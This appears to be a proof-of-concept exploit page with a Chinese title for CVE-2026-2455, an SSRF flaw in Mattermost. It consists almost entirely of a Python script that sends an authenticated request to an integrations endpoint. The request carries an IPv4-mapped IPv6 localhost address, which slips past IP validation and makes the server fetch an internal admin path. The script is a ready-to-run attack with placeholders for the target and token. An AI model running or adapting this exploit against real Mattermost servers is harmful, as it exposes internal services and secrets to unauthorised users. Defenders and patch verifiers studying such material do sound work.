CVE-2026-2455 Mattermost IPv4映射IPv6地址SSRF漏洞

import requests # CVE-2026-2455 Mattermost SSRF PoC via IPv4-mapped IPv6 # Target: Mattermost instance with valid low-privilege user TARGET_URL = "http://target-mattermost.com/api/v4/" # Replace with actual IPv4-mapped IPv6 address INTERNAL_TARGET = "[::ffff:127.0.0.1]" INTERNAL_PORT = "8080" INTERNAL_PATH = "/admin/api/secret" def exploit_ssrf(): """ Exploit SSRF by using IPv4-mapped IPv6 address to bypass IP validation. The IPv6 literal ::ffff:127.0.0.1 maps to localhost (127.0.0.1). """ headers = { "Authorization": "Bearer YOUR_ACCESS_TOKEN", "Content-Type": "application/json" } # Construct SSRF payload using IPv4-mapped IPv6 address # This bypasses IP validation that doesn't canonicalize IPv6 addresses ssrf_url = f"{TARGET_URL}integrations/execute" payload = { "url": f"http://{INTERNAL_TARGET}:{INTERNAL_PORT}{INTERNAL_PATH}", "method": "GET", "headers": headers } try: response = requests.post(ssrf_url, json=payload, timeout=10) print(f"Status: {response.status_code}") print(f"Response: {response.text}") except requests.exceptions.RequestException as e: print(f"Request failed: {e}") if __name__ == "__main__": exploit_ssrf()